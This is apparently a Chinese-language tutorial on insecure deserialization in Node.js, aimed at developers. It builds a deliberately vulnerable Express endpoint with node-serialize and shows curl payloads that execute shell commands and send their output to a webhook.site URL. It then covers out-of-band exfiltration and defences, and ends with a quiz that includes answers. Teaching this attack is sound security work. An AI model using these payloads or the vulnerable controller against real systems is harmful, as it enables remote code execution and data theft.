許多網站為了要傳遞資料,會將資料的序列化和反序列化的行為。
序列化與反序列化的過程允許開發者將物件或資料結構轉換成可傳輸的格式,然後再還原回原來的狀態。
但如同 injection 相關的問題,過於信任使用者所輸入的內容,會成為漏洞的來源,尤其是當反序列化過程中處理來自不可信任的來源資料時,就會導致不安全的反序列化(Insecure Deserialization)攻擊。
本篇文章將介紹反序列化的基本概念及其風險,並特別針對 Node.js 環境中的反序列化漏洞進行討論,最終提供防禦措施,以降低開發中的安全風險。
序列化是將物件或資料結構轉換成字串或二進位格式,以便於傳輸或儲存的過程;反序列化則是將這些轉換後的資料還原為原始物件的過程。
在網站的情境中,這種技術經常用於在伺服器和客戶端之間傳輸資料,或是在分散式系統中分享狀態資訊。
例如,以下是一個簡單的 JSON 序列化和反序列化的範例:
const data = { username: "user", age: 25 };
const serializedData = JSON.stringify(data); // 序列化
const deserializedData = JSON.parse(serializedData); // 反序列化
console.log(deserializedData.username); // 輸出: "user"
雖然 JSON 通常被認為是相對安全的序列化格式,但其他格式(如二進位、XML、YAML 等)在反序列化的過程中則可能面臨更多的安全問題。
反序列化本身並不是一個危險的操作,然而當網站信任不可信的資料並且沒有進行充分的檢查時,反序列化就可能成為攻擊的入口。
不安全的反序列化攻擊通常是利用惡意輸入,讓後端網站在反序列化過程中執行惡意的程式碼或指令。
在這個實作中,我們將展示如何使用 node-serialize
庫進行資料反序列化,並說明其中的不安全因素。反序列化是將已序列化的資料還原為物件的過程,當該資料來自不信任的來源時,這個過程就可能帶來安全風險。以下的實作展示了在 Node.js 應用中使用不安全的反序列化,並討論相關的漏洞與可能的攻擊場景。
安裝 node-serialize
函式庫
首先,我們在 package.json
中加入了 node-serialize
,它是一個用於序列化與反序列化物件的函式庫:
"node-serialize": "0.0.4"
這個函式庫提供 serialize
和 unserialize
兩個主要方法,用來將 JavaScript 物件轉換為字串格式,並從字串格式還原為物件。然而,這個函式庫在進行反序列化時並不檢查資料的來源,這意味著攻擊者可以傳入惡意的資料來進行攻擊。
設定控制器進行反序列化
接著,我們在 serializeController.js
中定義了一個 serialize
方法,該方法負責接收來自使用者的資料並進行反序列化:
const serialize = require('node-serialize');
const serializeController = {
// 反序列化
serialize: function(req, res) {
try {
// 不安全的反序列化
const deserializedData = serialize.unserialize(req.body);
res.status(200).json(deserializedData);
} catch (error) {
console.error('Error processing data:', error);
res.status(400).send('Error processing data');
}
}
};
module.exports = serializeController;
在這段程式碼中,我們透過 serialize.unserialize
函數將從使用者端傳入的資料進行反序列化並直接返回。問題在於,這段程式碼未對輸入的資料進行任何驗證,攻擊者可以提交惡意的序列化物件來觸發反序列化攻擊。
設定路由處理反序列化請求
接著,我們在 serializeRouter.js
中定義了對 /api/serialize
的 POST 請求路由:
const express = require('express');
const serializeController = require('../controllers/serializeController');
const serializeRouter = express.Router();
serializeRouter.post('/', serializeController.serialize);
module.exports = serializeRouter;
這個路由將請求轉發到 serializeController.serialize
方法,處理來自客戶端的資料並進行反序列化。
將路由整合到伺服器
最後,我們將這個路由整合到 server.js
中,以便應用能夠處理對 /api/serialize
的 POST 請求:
const serializeRouter = require('./routes/serializeRouter');
app.use('/api/serialize', serializeRouter);
這段程式碼中的問題在於未對反序列化過程中的輸入資料進行驗證。攻擊者可以傳遞惡意的序列化物件,並利用反序列化過程來執行任意程式碼或存取敏感資料。例如,攻擊者可以傳遞一個包含惡意指令的序列化物件,進而觸發遠端程式碼執行(RCE)。
攻擊者可能使用以下 curl
命令,傳遞惡意的序列化資料來攻擊伺服器:
curl -X POST http://nodelab.feifei.tw/api/serialize \
-H "Content-Type: application/json" \
-d '{"key": "value"}'
curl -X POST http://nodelab.feifei.tw/api/serialize \
-H "Content-Type: application/json" \
-d '{"rce":"_$$ND_FUNC$$_function(){console.log(\"RCE successful\");}()"}'
進入 webhook.site 取得網址
curl -X POST http://nodelab.feifei.tw/api/serialize \
-H "Content-Type: application/json" \
-d '{"rce":"_$$ND_FUNC$$_function(){const https=require(\"https\");const options={hostname:\"webhook.site\",port:443,path:\"/1bb81cbc-5627-4b9c-a1a1-81c6ab2fe997\",method:\"POST\",rejectUnauthorized:false};const req=https.request(options,res=>{});req.on(\"error\",error=>{console.error(error)});req.write(\"RCE successful\");req.end();return {}}()"}'
curl -X POST http://nodelab.feifei.tw/api/serialize \
-H "Content-Type: application/json" \
-d '{"rce":"_$$ND_FUNC$$_function(){const https=require(\"https\");const {execSync}=require(\"child_process\");const result=execSync(\"ls /\").toString();const options={hostname:\"webhook.site\",port:443,path:\"/1bb81cbc-5627-4b9c-a1a1-81c6ab2fe997\",method:\"POST\",rejectUnauthorized:false};const req=https.request(options,res=>{});req.on(\"error\",error=>{console.error(error)});req.write(result);req.end();return {}}()"}'
curl -X POST http://nodelab.feifei.tw/api/serialize \
-H "Content-Type: application/json" \
-d '{"rce":"_$$ND_FUNC$$_function(){const https=require(\"https\");const {execSync}=require(\"child_process\");const result=execSync(\"uname -a && whoami && id\").toString();const options={hostname:\"webhook.site\",port:443,path:\"/1bb81cbc-5627-4b9c-a1a1-81c6ab2fe997\",method:\"POST\",rejectUnauthorized:false};const req=https.request(options,res=>{});req.on(\"error\",error=>{console.error(error)});req.write(result);req.end();return {}}()"}'
要防止這類攻擊,我們應採取以下措施:
node-serialize
),可以考慮使用 JSON 格式進行序列化與反序列化,因為 JSON 不允許執行代碼。這個實作展示了不安全的反序列化如何為攻擊者提供了可乘之機,開發者在使用序列化和反序列化技術時應保持謹慎,並確保對資料進行充分的驗證。
在不安全反序列化攻擊中,攻擊者經常使用帶外(out-of-band)資料傳輸技術來竊取資訊或執行更複雜的攻擊。這種技術特別有用,尤其是在直接的指令執行結果不會立即回傳給攻擊者的情況下。
建立外部管道:攻擊者設置一個外部伺服器(如我們範例中使用的 webhook.site)來接收資料。
注入回呼程式碼:在反序列化攻擊載荷中,攻擊者包含了向這個外部伺服器發送請求的程式碼。
資料擷取:當反序列化發生時,注入的程式碼執行並將敏感資訊或指令執行結果傳送到攻擊者控制的伺服器。
繞過防禦:這種技術可以繞過某些防禦機制,因為惡意流量看起來像是從受害伺服器發起的正常對外請求。
在我們的攻擊示範中,我們使用了 webhook.site 作為外部接收伺服器。攻擊載荷中包含了使用 HTTPS 模組向這個伺服器發送 POST 請求的程式碼。這允許攻擊者:
out-of-band技術的使用大大增加了不安全反序列化攻擊的危險性:
為了防禦利用out-of-band技術的攻擊,除了一般的反序列化安全措施外,還應考慮:
理解和防禦out-of-band技術在不安全反序列化攻擊中的應用,是全面保護系統安全的重要環節。
反序列化是一個強大的工具,可以讓開發者輕鬆地在網站中傳遞和儲存資料。然而,不安全的反序列化可能會導致嚴重的安全問題,特別是當網站處理來自不可信來源的資料時。開發者應該對此保持警惕,並採取適當的防護措施來減少風險。
透過嚴格的輸入驗證、安全的反序列化工具和定期的安全審查,您可以有效地保護您的網站免受不安全反序列化攻擊的威脅。
反序列化的主要用途是什麼?
A) 將資料轉換成字串
B) 還原序列化資料為原始物件
C) 儲存資料到檔案系統
D) 傳輸資料到外部系統
答案: B
解釋:反序列化的主要用途是將序列化後的資料還原為原始物件,以便程式可以再次操作這些資料。
什麼情況下反序列化最有可能導致安全風險?
A) 當反序列化來自不信任的來源
B) 當反序列化 JSON 資料時
C) 當反序列化內建模組時
D) 當序列化和反序列化都發生在同一系統上
答案: A
解釋:反序列化不信任來源的資料時,可能包含惡意的資料結構或指令,從而引發安全風險。
下列哪一項是防止不安全反序列化的最佳實踐?
A) 信任來自外部系統的所有資料
B) 使用 eval
函數來解析反序列化資料
C) 對反序列化的資料進行驗證
D) 使用不安全的反序列化函式庫
答案: C
解釋:對反序列化的資料進行驗證是減少安全風險的重要步驟,這可以防止惡意資料被反序列化並導致潛在的攻擊。
在 Node.js 中,哪個模組的使用可能導致不安全的反序列化?
A) fs
B) http
C) node-serialize
D) path
答案: C
解釋:node-serialize 模組允許序列化和反序列化任意 JavaScript 對象,包括函數,這可能導致遠端程式碼執行風險。
不安全反序列化攻擊可能導致以下哪種結果?
A) 拒絕服務(DoS)
B) 遠端程式碼執行(RCE)
C) 資訊洩漏
D) 以上皆是
答案: D
解釋:不安全反序列化可能導致多種嚴重後果,包括拒絕服務、遠端程式碼執行和敏感資訊洩漏。